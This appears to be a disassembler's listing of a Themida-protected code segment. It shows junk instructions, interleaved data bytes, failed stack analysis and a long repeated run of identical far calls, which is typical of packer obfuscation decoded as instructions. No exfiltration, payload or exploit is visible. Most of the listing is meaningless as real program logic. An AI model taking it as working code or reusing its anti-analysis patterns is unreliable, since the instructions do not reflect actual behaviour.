; =============== S U B R O U T I N E =======================================
sub_5CF5B5 proc near ; CODE XREF: sub_5CF59C+Ap
stc
pop edi
call near ptr loc_5CF5CA+4
inc edx
add al, 7Fh
push edi
call near ptr 5A88E6AFh
cmp [ebx+22h], dl
mov dh, 9Eh
loc_5CF5CA: ; CODE XREF: sub_5CF5B5+2p
rcr dword ptr [ecx-749F8092h], cl
sub_5CF5B5 endp ; sp-analysis failed
idiv dword ptr [edx+4D7E453Dh]
popa
pop esi
pusha
mov cx, 0B68Bh
call near ptr loc_5CF5E9+4
add ch, [eax]
and eax, 69E46D48h
loc_5CF5E9: ; CODE XREF: Themida_:005CF5DDp
not dword ptr cs:[ebx+0A0DBE88h]
mov edx, 0B2615A5Eh
movsd
and edx, 59BF9B5h
mov cx, di
loc_5CF5FF: ; CODE XREF: sub_5CF59C+10j
jbe loc_5CF60A
loc_5CF605: ; CODE XREF: Themida_:005CF617j
mov ecx, 25307045h
loc_5CF60A: ; CODE XREF: Themida_:loc_5CF5FFj
jmp loc_5CF61C
; ---------------------------------------------------------------------------
align 10h
adc edi, ds:5A1A1A5Ah
icebp
jno short loc_5CF605
push cs
push ecx
pop ds
loc_5CF61C: ; CODE XREF: Themida_:loc_5CF60Aj
jle loc_5CF625
sbb bh, 0ECh
loc_5CF625: ; CODE XREF: Themida_:loc_5CF61Cj
jns loc_5CF62E
mov bx, ax
loc_5CF62E: ; CODE XREF: Themida_:loc_5CF625j
jl $+6
clc
mov ax, 0D821h
adc cl, 0B5h
mov edi, 59F2A131h
adc edi, 73E0B580h
adc cx, 4CB3h
movsx ebx, di
mov esi, eax
clc
adc ebx, 7C462438h
movzx esi, cx
mov esi, 5B91EC4Fh
pusha
mov eax, edx
push ebx
jno $+6
pop esi
popa
jmp loc_5CF677
; ---------------------------------------------------------------------------
db 0D0h, 6Dh, 3Ch
db 4Eh, 0F8h, 30h
; ---------------------------------------------------------------------------
loc_5CF677: ; CODE XREF: Themida_:005CF66Cj
movzx ecx, di
mov bl, ah
jnb loc_5CF6A0
jns loc_5CF6A0
jmp loc_5CF6A0
; ---------------------------------------------------------------------------
align 2
dw 2509h
dd 0B655251Fh, 0BEB907AFh, 3AEDF738h, 662D25E7h
; ---------------------------------------------------------------------------
loc_5CF6A0: ; CODE XREF: Themida_:005CF67Cj
; Themida_:005CF682j ...
jle $+6
jmp loc_5CF6B5
; ---------------------------------------------------------------------------
db 75h
dd 6BB49232h, 0C1CC46F7h
db 80h
; ---------------------------------------------------------------------------
loc_5CF6B5: ; CODE XREF: Themida_:005CF6A6j
mov ecx, edi
mov ebx, edx
movsx edi, bx
mov si, 0E5EAh
and bl, 83h
mov si, di
adc ch, 23h
pusha
mov bx, 7E0Eh
mov edi, eax
popa
sbb al, 5Bh
and ax, 29C2h
adc ah, 0FBh
jmp loc_5CF6F1
; ---------------------------------------------------------------------------
pop ss
dec esp
mov dh, 10h
mov esi, 45785B31h
xchg eax, esp
add [esi+9], dl
mov bl, 0C6h
cmpsd
loc_5CF6F1: ; CODE XREF: Themida_:005CF6DCj
jg loc_5CF6FA
and ah, 0B6h
loc_5CF6FA: ; CODE XREF: Themida_:loc_5CF6F1j
jmp loc_5CF707
; ---------------------------------------------------------------------------
db 2Dh
dd 209F7F4h
db 0D1h, 0F5h, 87h
; ---------------------------------------------------------------------------
loc_5CF707: ; CODE XREF: Themida_:loc_5CF6FAj
sub ebx, 12B0BF94h
jmp loc_5CF719
; ---------------------------------------------------------------------------
mov edx, 0B5AA0CE4h
sbb cl, [ebx]
loc_5CF719: ; CODE XREF: Themida_:005CF70Dj
push eax
mov bx, di
pop esi
cmc
jmp loc_5CF738
; ---------------------------------------------------------------------------
dd 47190CC9h, 82C0558h, 0F2633E73h, 0DAD2CB56h, 0E86D0468h
; ---------------------------------------------------------------------------
loc_5CF738: ; CODE XREF: Themida_:005CF71Fj
stc
push ecx
mov esi, ebx
pop edx
jg loc_5CF746
movsx edx, dx
loc_5CF746: ; CODE XREF: Themida_:005CF73Dj
push edi
mov ax, 0BA1Dh
pop eax
movzx esi, si
jmp loc_5CF75F
; ---------------------------------------------------------------------------
dd 73040624h, 0A21847Ah
db 75h, 91h, 0FDh
; ---------------------------------------------------------------------------
loc_5CF75F: ; CODE XREF: Themida_:005CF74Fj
call loc_5CF770
push ss
pop ds
assume ds:nothing
sub al, 8Ah
mov eax, ds:0B46EAC22h
xchg edx, [edx-70h]
loc_5CF770: ; CODE XREF: Themida_:loc_5CF75Fp
pusha
stc
movsx ebx, cx
popa
pop ebx
push edi
pop edi
movsx esi, bx
call loc_5CF794
fisttp dword ptr [edx+edi+20h]
test al, 0A5h
cli
mov ch, 6Ah
insb
; ---------------------------------------------------------------------------
db 8Fh
; ---------------------------------------------------------------------------
mov esp, eax
add [esi+5EB8BDC7h], edx
loc_5CF794: ; CODE XREF: Themida_:005CF77Cp
movsx edi, cx
pop edx
sbb dx, 0DDCFh
and ecx, 7169C011h
sub dx, 55Ah
mov bx, di
movzx edi, dx
push edx
mov ah, 15h
pop edx
jb loc_5CF7BB
and ch, 0EEh
loc_5CF7BB: ; CODE XREF: Themida_:005CF7B2j
call sub_5CF7CB
push cs
mov ebx, 0CCA31930h
; ---------------------------------------------------------------------------
dw 7C8Ch
db 0C6h, 7Ah, 99h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5CF7CB proc near ; CODE XREF: Themida_:loc_5CF7BBp
jmp sub_5CF7E1
sub_5CF7CB endp
; ---------------------------------------------------------------------------
dd 0B7225A35h, 0FCA6EA0Eh, 6F4DE913h, 5C6DF03Ch
; ---------------------------------------------------------------------------
inc edx
; =============== S U B R O U T I N E =======================================
sub_5CF7E1 proc near ; CODE XREF: sub_5CF7CBj
; FUNCTION CHUNK AT 005CF85A SIZE 0000000F BYTES
pop ecx
ja loc_5CF7EA
mov bl, dh
loc_5CF7EA: ; CODE XREF: sub_5CF7E1+1j
mov dx, 0D1Fh
mov si, 2B6Ah
mov bx, cx
sbb edi, 6567A116h
push ecx
push ebx
and dl, 0B9h
pop eax
pop edi
jle loc_5CF80E
and edx, 3DD8EDC2h
loc_5CF80E: ; CODE XREF: sub_5CF7E1+21j
pusha
xor edx, 1ED32B99h
ja near ptr loc_5CF824+4
call near ptr loc_5CF824+3
mov ah, 4Bh
jnp short loc_5CF85A
loc_5CF824: ; CODE XREF: sub_5CF7E1+3Ap
; sub_5CF7E1+34j
cmp ebp, ss:[ebx+0BE9615Ah]
sub_5CF7E1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
dd 9B800000h, 3BD7AAE6h, 6B7FA85Ah, 0BE910h, 9DC70000h
dd 0D0DAAA8Bh, 6344252Ch, 18F0FF0h, 0F5000000h, 11E9h
dd 0E1706200h
; ---------------------------------------------------------------------------
jno short loc_5CF8D6
; START OF FUNCTION CHUNK FOR sub_5CF7E1
loc_5CF85A: ; CODE XREF: sub_5CF7E1+41j
cmc
inc esp
xor ebx, ebp
mov eax, 4B9000FEh
mul dword ptr [esi+0CE96027h]
; END OF FUNCTION CHUNK FOR sub_5CF7E1
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 279A807Fh, 0DB3D1A8Fh, 32353495h, 0B4C0B761h, 810F22h
dd 0E9000000h, 7, 98BBF630h, 0F9BCEB0h, 0B8B0F0B7h, 6A6AC781h
dd 0D0812C98h, 5AA959AFh, 0BF0F6060h, 666061CFh, 2685F681h
dd 631946B9h, 6661613Eh, 0BA6CDB81h, 16870Fh, 0FE80000h
dd 92000000h, 0B8E1995Ch, 4707EDF2h, 9A45EE6h, 5AF95BC1h
db 56h, 8Bh
; ---------------------------------------------------------------------------
loc_5CF8D6: ; CODE XREF: Themida_:005CF858j
setalc
pop edx
mov edi, eax
sbb ebx, 0CD79AD6h
mov edi, esi
jmp loc_5CF8EF
; ---------------------------------------------------------------------------
db 91h
dd 3B1E2C13h
db 0F3h, 0D1h, 0F4h
; ---------------------------------------------------------------------------
loc_5CF8EF: ; CODE XREF: Themida_:005CF8E2j
call near ptr loc_5CF8FE+3
repne sub eax, 46F08FFDh
db 67h
mov al, 0C7h
daa
loc_5CF8FE: ; CODE XREF: Themida_:loc_5CF8EFp
sar byte ptr [esi-72F0A47Dh], cl
adc al, 0
; ---------------------------------------------------------------------------
dw 0
dd 8E8h, 0E6CDFF00h, 4E102624h, 890F44h, 58000000h, 35D38166h
dd 1FBE665Ch, 0DBB70FEEh, 0EE8h, 2D620300h, 3D168EDh, 9D8BBE8Ah
dd 0E9FB5EE7h, 7, 958193BEh, 5BBAFE12h, 12E951h, 0F7240000h
dd 0C3134EB9h, 513389Ah, 77FE1935h, 2C819812h, 0ECB1BE5Fh
dd 0FF84268h, 38Bh, 0FEB70F00h, 0C5C68166h, 0B70F5787h
dd 0B70F59CFh, 5840FC3h, 66000000h, 0EAFCC881h, 27864EBAh
dd 0F60603Eh, 8Ch, 0DE96100h, 0C9000000h, 37E57777h, 6A38DBDAh
dd 4F9DE351h, 6880F61h, 81000000h, 0C98D87C0h, 0B966535Dh
dd 0E9591ED1h, 0Eh, 661E310Bh, 91AE9AC1h, 3C5A67C0h, 0DE810B0Dh
dd 29832D9Bh, 0BF715DBAh, 0D2EB8155h, 0F91ACCFFh, 8C0FD88Ah
dd 5, 0A41AB2BBh, 0BE902h, 4F6A0000h, 0EDA4720Eh, 23846C79h
dd 0E95AB19Bh, 0Ch, 0D1AC5BC5h, 0D3A6EBFFh, 983BF21h, 18B0Fh
dd 0FF90000h, 381h, 0CBB70F00h, 6E9h, 0E6218800h, 818D3B80h
dd 11165DF0h, 0F3816678h, 0B70F9100h, 11E9FFh, 41FC0000h
dd 27F86B07h, 1B71863Dh, 0DD39B753h, 0F848A7B6h, 10810Fh
dd 8E80000h, 1B000000h, 24F01DD5h, 60B65FB8h, 0B9525F61h
dd 7D178358h, 0BF0F535Bh, 8B0F5AF0h, 0Fh, 0AE9h, 53321C00h
dd 6C210EFCh, 0F525D20Ch, 38B0Fh, 8B660000h, 3880FD7h
dd 80000000h, 0EE848C5h, 34000000h, 1A112A49h, 82D79BAFh
dd 6A44E66Dh, 0BE85125h, 0FE000000h, 0D3B304C6h, 258EBADCh
dd 5B58295Eh, 0B1F6815Eh, 816376DDh, 3B9977CFh, 0EE973h
dd 7D540000h, 7AFB315Eh, 0B1ADB47Ch, 0D0EDC5D9h, 0AE8h
dd 37003B00h, 0BF977D0Fh, 81872E79h, 4C2E2BCBh, 5E8586Fh
dd 0B4000000h, 15E0DE1h, 815EEB8Ah, 0BF09DCC8h, 0EE962h
dd 0FB1B0000h, 0F17B5C14h, 71FE0BA0h, 0C4614F63h, 66F87DB7h
dd 2D4FD281h, 0E8CF8B66h, 14h, 8FD489FFh, 64068461h, 9ABBE8DEh
dd 1850440h, 54ED345h, 276F67BAh, 2DBF5B48h, 660A7B4Fh
dd 0E848CCBFh, 14h, 0D68A92Fh, 2EBDB55Fh, 70AA7903h, 0FA40F039h
dd 753DA402h, 0BE8h, 5DDF4700h, 970D107Bh, 0DE3CDD0Fh
dd 9A38F081h, 5B5F19FAh, 666EC180h, 0F0CEE881h, 0BE9FCh
dd 0A8690000h, 0B29A3A4h, 0C93DD0F1h, 0E8DA8B92h, 11h
dd 4FA7035Ch, 0CCA67A85h, 69C78221h, 8BE0191Fh, 5B73B18Fh
dd 0E9F28B66h, 8, 7388D31Fh, 9A1BB2BEh, 880FD3B6h, 3, 66D3C580h
dd 901ED381h, 0C68A4BB6h, 0FDEBF0Fh, 588h, 0C6816600h
dd 8B66FF58h, 0D58050CFh, 0C9815FC3h, 6037C95Dh, 8162D880h
dd 375E07F0h, 0EA81665Fh, 0AE956BBh, 7C000000h, 132C7669h
dd 59725559h, 2800F56h, 0B4000000h, 8A0F5090h, 6, 890Fh
dd 0E95E0000h, 9, 0C0FD84D6h, 2B4D6D13h, 0AB77BB21h, 0D08125D1h
dd 3185C35Fh, 0E9C38B66h, 8, 0E6A64452h, 9342B20Fh, 12E957h
dd 0ED10000h, 0E9ADDC9Ch, 13793A17h, 0E849B274h, 0ED4827Ch
dd 78A0F59h, 60000000h, 0EF80FA8Bh, 0C18B619Eh, 1A8A0Fh
dd 0E9600000h, 10h, 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h
dd 61CEB70Fh, 2062BB66h, 0F88B29B1h, 666FF680h, 0B7DAD981h
dd 8AF5CA8Ah, 11E8D9h, 0AF3C0000h, 0BB7AD82Dh, 2302730Ch
dd 0F796F139h, 0E9E6F70Bh, 0Ch, 219A183h, 3D88CD41h, 4198D2F1h
dd 0C8B70F58h, 0E95AF956h, 0Ch, 0EB5FC3C6h, 10067846h
dd 68A1506Eh, 0B804CBAh, 0B45E5641h, 6656FC4Fh, 8A5FC28Bh
dd 0EC94BBEAh, 10E92DC5h, 6D000000h, 0BF54C3B5h, 0AD58DF9Ch
dd 181CEB4Dh, 81F3A229h, 0C9BF3ED0h, 8A4EB224h, 14E8CFh
dd 0F8A40000h, 0EFAB8536h, 551348FBh, 171B7534h, 0BE10B64Ch
dd 5BFC5B31h, 884FBE66h, 4820F51h, 66000000h, 585F28B8h
dd 27CDC281h, 0E9801A2Eh, 0F081669Dh, 41BA5745h, 80763FE1h
dd 81665AE4h, 8B332BF1h, 0FD38BDEh, 0CB80C2BFh, 665F53BEh
dd 0E781C38Bh, 67A74339h, 5457CE81h, 0B70F3D85h, 11870FF8h
dd 0E9000000h, 0Ch, 0C72D6C70h, 3106CBDAh, 0F2923833h
dd 0FFE8B66h, 582h, 0E847BE00h, 0E3811AD8h, 224430EAh
dd 12E9h, 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 804793E4h
dd 5E9E8D0h, 85000000h, 59051F45h, 66F98B66h, 870FD18Bh
dd 4, 4FFBE66h, 4D2DC181h, 850F3ABEh, 3, 66FEB70Fh, 0F9A0ABBEh
dd 0AE8h, 97A71B00h, 0C301DB49h, 5886EF00h, 6DA9E3BBh
dd 0CFE28131h, 0F55BD9DFh, 2B84D281h, 0C6811B35h, 3F77D951h
dd 0E95EFC57h, 0Ch, 0AF6B1A0h, 0AD213184h, 32F4825Ch, 61E8DFB9h
dd 0B9666018h, 8B668065h, 816661F0h, 0B0B03EDEh, 0A511BA00h
dd 0D98B58DAh, 0E9CBD380h, 8, 24A24008h, 0DA7DB862h, 8A25E580h
dd 12870FE5h, 0E9000000h, 0Dh, 0FB2EA594h, 36FD0AB9h, 0C9535570h
dd 660BA58h, 8E0F0D61h, 0Eh, 0CCD18160h, 0F0897B8h, 8Dh
dd 0C4806100h, 11E913h, 462A0000h, 6EBA3CD9h, 0B5B91CDAh
dd 13FA1377h, 60CBCFCFh, 0E9F3B70Fh, 13h, 0CFF130E3h, 12217CDDh
dd 5D4C5492h, 0DE46E9DAh, 61F72CDAh, 12E951h, 12230000h
dd 6DF7B80Ch, 33BF1149h, 87B0A7EEh, 0C3A61B5Eh, 4810F58h
dd 66000000h, 60E5BAB8h, 10830FF8h, 0E9000000h, 0Bh, 9A3725F1h
dd 46642E44h, 616EA8E3h, 9E9h, 25B92C00h, 36A8FB0Fh, 14E9F575h
dd 0B0000000h, 1660179Fh, 0C7A05DC2h, 0F2CA0ED7h, 105A13D7h
dd 66795A92h, 0BB37F281h, 3DE88166h, 0EE816610h, 0CB8143D8h
dd 64EE039Bh, 0F079C381h, 8C0F7EE5h, 3, 0F2AC280h, 0E83h
dd 9E900h, 0A8D40000h, 115C8A69h, 66CD60B4h, 8166D78Bh
dd 0F39BCC8h, 8Fh, 0F3B70F00h, 0E9E38AF5h, 8, 0DFD4D92Eh
dd 0ED3C3A80h, 2875A9BFh, 13E87Ah, 0A9900000h, 2D6FE43Bh
dd 0BA646298h, 7DA318C6h, 0B6D26F43h, 9AE4BF4Eh, 0F5A7227h
dd 84h, 0DF816600h, 0C280D76Bh, 66F18B0Dh, 5A30D981h, 8B665957h
dd 88BA66CAh, 0DE9F9FEh, 58000000h, 0C4D8B71Ch, 560CB026h
dd 0F2713F3Dh, 1384BE66h, 5820Fh, 81660000h, 0BB72A3CBh
dd 0E9D7121h, 0AE9h, 0C2535800h, 6EDFC278h, 0E9FCC8E5h
dd 10h, 4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h
dd 0E9FAB70Fh, 12h, 9F2B33EAh, 0C394DE38h, 218D0BE5h, 0F06C85B1h
dd 8166FBBDh, 608E81D9h, 8B66C68Bh, 0BA6661D0h, 8C0F7E5Ch
dd 3, 6625E280h, 0F91CABEh, 1A8Dh, 12E800h, 0CB440000h
dd 0C21B7A38h, 309FB3F0h, 0E18B827Dh, 0CD5DD1BAh, 0E9586160h
dd 0Dh, 1238B3FBh, 5B603283h, 1E30AAB9h, 0D8B70F57h, 0BE8h
dd 1C28E300h, 2C49DEA7h, 0FD3DDC8Ch, 0F5CB95Eh, 850F61B0h
dd 0
dd 8F0Fh, 66530000h, 318BE881h, 0F78B6658h, 7E8C78Bh, 18000000h
dd 2B911B7Fh, 0D68099F5h, 0E8F55A93h, 7, 7198E207h, 561027F5h
dd 6E9h, 0B435EE00h, 598D4C24h, 4830F58h, 66000000h, 0E9EFACB9h
dd 7, 8A392AA1h, 56E9228Ch, 11E9h, 4BB8C000h, 2BBAA35Fh
dd 0A29F5524h, 7D08E659h, 605EB3EAh, 0E3816160h, 525686E1h
dd 0F43FB861h, 0E6805F2Dh, 14E908h, 41970000h, 0F36C4E08h
dd 65676130h, 99F06836h, 91D3D6DDh, 0BB601833h, 6649CEF6h
dd 520840BAh, 7B96142h, 0F4C9F4Ch, 380h, 0C1F78000h, 3890Fh
dd 0B70F0000h, 0DF8166CFh, 0BB6657B7h, 0D78BB268h, 0EE9A0B0h
dd 30000000h, 0F183A7C7h, 0A7C3038h, 0C61DFB42h, 13E9F9h
dd 0EC870000h, 0DE26BAC4h, 0D27E58BAh, 0D374322Fh, 98FA768Fh
dd 4DA2B9D9h, 81661DDFh, 8A27EAEFh, 0EA80F8D5h, 17800F0Bh
dd 60000000h, 0FE9F5h, 18C60000h, 6F437DA3h, 124EB6D2h
dd 85998849h, 8B666144h, 0E880FCBh, 0E8000000h, 8, 0D8B1AAF0h
dd 0E3A87EEEh, 0EE8F85Fh, 0F000000h, 36D1450Fh, 32D3C93Ch
dd 6E55AD90h, 0C6BF0F43h, 0C981665Eh, 8E872DAh, 22000000h
dd 7D1A4F36h, 8B7CF474h, 81665AD6h, 80C358DFh, 666061CDh
dd 61576CBEh, 13E952h, 64D90000h, 0E1CA476Bh, 0CD4B164Bh
dd 0B7E90DFAh, 4B271FFh, 0E2815E6Fh, 3D423C81h, 8E8h, 11904600h
dd 577A7C80h, 59DA8BBDh, 1F880Fh, 13E80000h, 50000000h
dd 1E249E21h, 9CB740E3h, 0E8D1FF57h, 0E836E594h, 8E0F99C3h
dd 0
; ---------------------------------------------------------------------------
pop edi
jle loc_5D026B
mov si, 133Ah
loc_5D026B: ; CODE XREF: Themida_:005D0261j
push ecx
pusha
jmp loc_5D0277
; ---------------------------------------------------------------------------
dw 7576h
db 35h, 89h, 22h
; ---------------------------------------------------------------------------
loc_5D0277: ; CODE XREF: Themida_:005D026Dj
jge $+6
popa
pop edi
call sub_5D028E
; ---------------------------------------------------------------------------
dd 7CCBE80Eh, 0F407C497h
db 61h, 83h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5D028E proc near ; CODE XREF: Themida_:005D027Fp
mov al, 56h
pop esi
jmp loc_5D02A8
; ---------------------------------------------------------------------------
dw 2BF5h
dd 439CA329h, 0E2EDAF7Ch, 0B7B45EB6h, 0DC31B9E0h
; ---------------------------------------------------------------------------
loc_5D02A8: ; CODE XREF: sub_5D028E+3j
mov esi, 346F70ADh
movzx esi, bx
jmp loc_5D02C0
; ---------------------------------------------------------------------------
db 6Eh, 0AEh, 1Dh
dd 597BC45Bh, 903A1CEDh
; ---------------------------------------------------------------------------
loc_5D02C0: ; CODE XREF: sub_5D028E+22j
and cx, 3643h
sbb edx, 774F0CB4h
jmp loc_5D02E1
; ---------------------------------------------------------------------------
dd 1AF5B288h, 920FC6CBh, 4095DF8Fh, 22A0D269h
db 35h
; ---------------------------------------------------------------------------
loc_5D02E1: ; CODE XREF: sub_5D028E+3Dj
mov eax, edi
clc
mov ebx, edi
cmc
mov edx, 5C65F74Dh
mov ax, 0AE97h
jmp loc_5D02FB
; ---------------------------------------------------------------------------
db 9, 14h, 0DAh
db 9Ah, 49h, 0
; ---------------------------------------------------------------------------
loc_5D02FB: ; CODE XREF: sub_5D028E+62j
call sub_5D030C
sub_5D028E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 6FCBE9E9h, 5D9A96AAh, 0F3601A08h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5D030C proc near ; CODE XREF: sub_5D028E:loc_5D02FBp
or cx, 55B8h
pop edx
pusha
mov di, si
xor eax, 27AA442Fh
popa
mov eax, 4BBC56E7h
mov ecx, 1DAC7801h
jmp loc_5D0340
; ---------------------------------------------------------------------------
dd 4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h, 0A7FEC971h
; ---------------------------------------------------------------------------
loc_5D0340: ; CODE XREF: sub_5D030C+1Bj
mov cx, 0CE63h
sub si, 0E213h
js loc_5D0354
xor si, 6FB6h
loc_5D0354: ; CODE XREF: sub_5D030C+3Dj
jg loc_5D0369
jmp loc_5D0369
; ---------------------------------------------------------------------------
db 0Bh
; ---------------------------------------------------------------------------
ffree st
xor ebx, [ecx+7E2AD40Eh]
int 3 ; Trap to Debugger
loc_5D0369: ; CODE XREF: sub_5D030C:loc_5D0354j
; sub_5D030C+4Ej
jmp loc_5D0375
; ---------------------------------------------------------------------------
dw 42F4h
; ---------------------------------------------------------------------------
xor eax, 0B85F5A70h
loc_5D0375: ; CODE XREF: sub_5D030C:loc_5D0369j
push ebx
mov eax, 3ECCEB56h
pop esi
mov ebx, edi
and al, 0A6h
mov bx, 72C2h
jmp loc_5D0398
; ---------------------------------------------------------------------------
dw 0E324h
dd 216A046h, 0B98C77A8h, 0E12B8DC5h
; ---------------------------------------------------------------------------
loc_5D0398: ; CODE XREF: sub_5D030C+79j
cld
mov dh, 52h
movsx edi, cx
stc
cld
movsx edx, bx
mov bh, ah
adc eax, 135A730Dh
pusha
jmp loc_5D03B8
; ---------------------------------------------------------------------------
db 4Bh, 9, 1Eh
dd 8D5399CEh
; ---------------------------------------------------------------------------
loc_5D03B8: ; CODE XREF: sub_5D030C+A0j
mov eax, 241F34F5h
popa
adc eax, 270DF658h
mov ax, di
jmp loc_5D03DE
; ---------------------------------------------------------------------------
or ch, [ecx-2B2EAC03h]
xchg eax, edi
mov word ptr [ecx+58h], ds
xlat
pop ecx
and ebx, 30DC514Dh
loc_5D03DE: ; CODE XREF: sub_5D030C+BBj
sub edi, 7D3248E4h
or dx, 9679h
jmp loc_5D03F7
; ---------------------------------------------------------------------------
dw 72DBh
dd 0C2B983AFh
db 0D6h, 2Ah, 0A8h
; ---------------------------------------------------------------------------
loc_5D03F7: ; CODE XREF: sub_5D030C+DDj
mov edi, eax
mov bl, 0DCh
jmp loc_5D0414
; ---------------------------------------------------------------------------
dd 9BF0FA9Eh, 339E9636h, 28DD631Fh, 0EC737686h, 3ECB12B0h
; ---------------------------------------------------------------------------
loc_5D0414: ; CODE XREF: sub_5D030C+EFj
mov ax, bx
cld
mov di, bx
xor cx, 79FBh
mov esi, ecx
jnp loc_5D042E
jo $+6
loc_5D042E: ; CODE XREF: sub_5D030C+116j
adc cx, 0E5D4h
push ebx
mov bl, ch
pop edx
movzx eax, dx
jo loc_5D044C
jmp loc_5D044C
; ---------------------------------------------------------------------------
db 8Ch, 6Ah, 0DDh
dd 4285A7E9h
; ---------------------------------------------------------------------------
loc_5D044C: ; CODE XREF: sub_5D030C+12Ej
; sub_5D030C+134j
pusha
jmp loc_5D045D
; ---------------------------------------------------------------------------
dw 0D96Bh
dd 323E60AFh, 537B966Dh
; ---------------------------------------------------------------------------
xchg eax, edi
loc_5D045D: ; CODE XREF: sub_5D030C+141j
stc
popa
js $+6
jmp loc_5D0472
; ---------------------------------------------------------------------------
dw 6E27h
dd 8658B2FDh
db 26h, 0D2h
; ---------------------------------------------------------------------------
loc_5D0472: ; CODE XREF: sub_5D030C+159j
push edx
cmc
pop esi
sbb ecx, 5E427691h
mov ax, cx
mov edi, 6596C278h
push edi
pop ebx
mov edx, 1FADCC32h
jno loc_5D0494
push esi
mov bh, 0F7h
pop ebx
loc_5D0494: ; CODE XREF: sub_5D030C+17Ej
jmp loc_5D049F
; ---------------------------------------------------------------------------
cmp [edi-64A24065h], edx
loc_5D049F: ; CODE XREF: sub_5D030C:loc_5D0494j
mov bx, 73C3h
jp loc_5D04AE
and cx, 0D6A4h
loc_5D04AE: ; CODE XREF: sub_5D030C+197j
sbb di, 0E348h
push ecx
jb loc_5D04C0
ja $+6
loc_5D04C0: ; CODE XREF: sub_5D030C+1A8j
pop esi
jbe loc_5D04D1
jns loc_5D04D1
mov cx, 0D06Fh
loc_5D04D1: ; CODE XREF: sub_5D030C+1B5j
; sub_5D030C+1BBj
jnz loc_5D04DA
mov di, bx
loc_5D04DA: ; CODE XREF: sub_5D030C:loc_5D04D1j
mov dx, 2779h
mov edx, 50BB26B4h
stc
mov edx, esi
mov dx, 9002h
push ecx
pusha
jmp loc_5D0501
; ---------------------------------------------------------------------------
cmp al, 0Ch
add ah, 80h
imul edx, [edx], 0CB7E636Ah
mov edx, 4A9A6503h
loc_5D0501: ; CODE XREF: sub_5D030C+1E0j
cmc
popa
pop edi
jg loc_5D050C
mov esi, ecx
loc_5D050C: ; CODE XREF: sub_5D030C+1F8j
jno loc_5D051D
jge loc_5D051D
mov edx, 6503E103h
loc_5D051D: ; CODE XREF: sub_5D030C:loc_5D050Cj
; sub_5D030C+206j
movzx eax, bx
call sub_5D0537
sub_5D030C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3Bh, 0C8h, 0E2h
dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h
db 1Fh, 0D3h, 88h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5D0537 proc near ; CODE XREF: sub_5D030C+214p
mov ax, 0A9C0h
pop ebx
movsx esi, bx
add ebx, 41742005h
jnp $+6
mov bx, ax
jmp loc_5D0567
; ---------------------------------------------------------------------------
db 8Ch
dd 34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h
db 90h
db 0AAh, 0D1h
; ---------------------------------------------------------------------------
loc_5D0567: ; CODE XREF: sub_5D0537+17j
pop esp
pusha
lahf
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
